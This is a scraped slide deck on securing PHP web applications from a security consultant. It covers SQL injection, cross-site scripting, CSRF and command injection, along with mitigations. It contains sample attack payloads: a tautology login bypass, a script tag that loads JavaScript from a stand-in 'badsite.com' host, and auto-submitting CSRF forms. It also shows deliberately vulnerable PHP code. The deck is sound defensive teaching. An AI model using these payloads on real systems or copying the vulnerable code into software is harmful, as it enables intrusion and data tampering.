![SQL Injection $sql = “SELECT * FROM users WHERE username = ‘“ . $_POST[‘username’] . “‘ AND password = ‘“ . $_POST[‘password’] . “‘“; What if username is: “dpc’ or ‘a’=’a” ? ... username = ‘ dpc’ or ‘a’=’a ‘ ...](https://image.slidesharecdn.com/phpug-presentation-1228431880253979-8/85/PHPUG-Presentation-4-320.jpg)
![Input Sanitization Fail exec(mysql_escape_string($_GET[‘var’])) Problem #1: mysql_escape_string is deprecated. Problem #2: MySQL escape does not make it safe for exec(). ?? preg_match("/.jpe?g$/i", $var) exec ( "convert '" . mysql_escape_string ( $path ) . "' /tmp/'" . mysql_escape_string ( basename ( $path )). "'.png" );](https://image.slidesharecdn.com/phpug-presentation-1228431880253979-8/85/PHPUG-Presentation-14-320.jpg)
![Bug Hunting Data Inputs $_GET, $_POST, $_REQUEST $_SERVER[‘QUERY_STRING’] $_SERVER[‘PHP_SELF’] $_COOKIE Shell commands: exec()](https://image.slidesharecdn.com/phpug-presentation-1228431880253979-8/85/PHPUG-Presentation-17-320.jpg)
![Thanks [email_address] http://xkcd.com/327/](https://image.slidesharecdn.com/phpug-presentation-1228431880253979-8/85/PHPUG-Presentation-27-320.jpg)
More Related Content
What's hot (20)
Viewers also liked (20)
Similar to PHPUG Presentation (20)
Recently uploaded (20)
PHPUG Presentation
- 1. Securing PHP Web Applications Web Applications Damon P. Cortesi, CISSP Directory @ Alchemy Security Stats Nut | Security Geek | Builder of Tools
- 2. $ whoami Security Consultant Part-time Web Dev (PHP, Django, Rails) Destroyer of Web Apps and Dual-Cores
- 3. <?=presoinfo();?> Typical web application vulnerabilities SQL Injection Cross-Site Scripting What to watch out for How to secure your PHP apps
- 4. SQL Injection $sql = “SELECT * FROM users WHERE username = ‘“ . $_POST[‘username’] . “‘ AND password = ‘“ . $_POST[‘password’] . “‘“; What if username is: “dpc’ or ‘a’=’a” ? ... username = ‘ dpc’ or ‘a’=’a ‘ ...
- 6. SQL Injection Username: dpc SELECT * FROM users WHERE username = ‘dpc‘ AND password = ‘apassword’; Username: dpc’ OR ‘A’=’A SELECT * FROM users WHERE username = ‘dpc ’ OR ‘A’=’A ‘ AND password = ‘apassword’;
- 7. Cross-Site Scripting User input re-displayed in browser and interpreted as HTML or ... JavaScript My name is Damon”><script>alert(‘hi’)</script> Why is this bad? Phishing Cookie stealing Arbitrary JavaScript execution...
- 8. XSS Example Ability to spoof an entire site by including JavaScript from elsewhere http://realsite.com/projects/search?q=test ”><script src=” http://badsite.com/evilphishingpage.js ”></script>... JavaScript can rewrite any DOM element...
- 9. Real-world Dangers We live in an interactive web
- 10. So what? I run a blog ... XSS me all day long ... I DON’T CARE! Fair enough. Importance of security is directly proportional to level of risk. Blog != Payment Gateway.
- 11. Coder for Hire? Are you willing to put your company reputation at stake? What type of apps are you building? Where _might_ your code be used? Themes? Plugins? include(‘wp_story’);
- 12. Common Mitigations “Increase your security by 80%, by fixing 20% of the problems.” Input Sanitization and Validation Data Encoding and Escaping
- 13. Sanitization/Encoding SQL: mysql_real_escape_string() HTML/XSS: htmlentities() “ <b>Damon</b> >> "<b>Damon</b> Beware encoding
- 14. Input Sanitization Fail exec(mysql_escape_string($_GET[‘var’])) Problem #1: mysql_escape_string is deprecated. Problem #2: MySQL escape does not make it safe for exec(). ?? preg_match("/.jpe?g$/i", $var) exec ( "convert '" . mysql_escape_string ( $path ) . "' /tmp/'" . mysql_escape_string ( basename ( $path )). "'.png" );
- 15. Better? Instead of dynamically constructing SQL queries...use a framework. CodeIgniter, CakePHP, Zend Or build a db.inc.php (but not a db.inc). Use an output library that automatically escapes.
- 16. Server-Side Checks Client-side code can be modified HTTP Proxies Toolbars Super-hack “save to disk” & modify Validate all user input with server-side code
- 17. Bug Hunting Data Inputs $_GET, $_POST, $_REQUEST $_SERVER[‘QUERY_STRING’] $_SERVER[‘PHP_SELF’] $_COOKIE Shell commands: exec()
- 18. Cross-Site Request Forgery Let’s Google for “javascript are you sure?” First result (circa 2006) is susceptible to CSRF (and probably SQL Injection). What is this CSRF?
- 19. GET CSRF delete.php?id=123 An action that modifies data called via HTTP GET (against HTTP specs). <img src=” http://x.com/delete.php?id=123” />
- 20. POST CSRF Only difference: JavaScript required to automate attack. <form name=”csrf” action=” http://x.com/delete.php ” method=”POST”> <input type=”hidden” name=”id” value=”123”> </form> <script>document.csrf.submit()</script>
- 21. CSRF in Action
- 22. Fixing CSRF Do not modify data using GET Use tokens on all form POSTs per-session per-form Up to you - convenience vs. security
- 23. Other Protections Secure Cookie Flag Restricts transmission of cookies set via HTTPS HTTPOnly Cookie Flag Can’t be accessed using <script> Use innerText, not innerHTML
- 24. 3rd Party Plugins Need a plugin or specific function? Google. Download. Hackhack. It works! Is that code secure? (See prev. CSRF)
- 25. Server Config Not always some über-technical sploit... /phpMyAdmin unprotected? demo/demo password Email on confirmation page
- 26. Location: $references Chris Shiflett: http://shiflett.org / Essential PHP Security PHP Manual: http://www.php.net/manual/en/security.php Disable register_globals Disabled by default in PHP > 4.2.0 http://www.owasp.org/index.php/PHP_Top_5 http://startupsecurity.info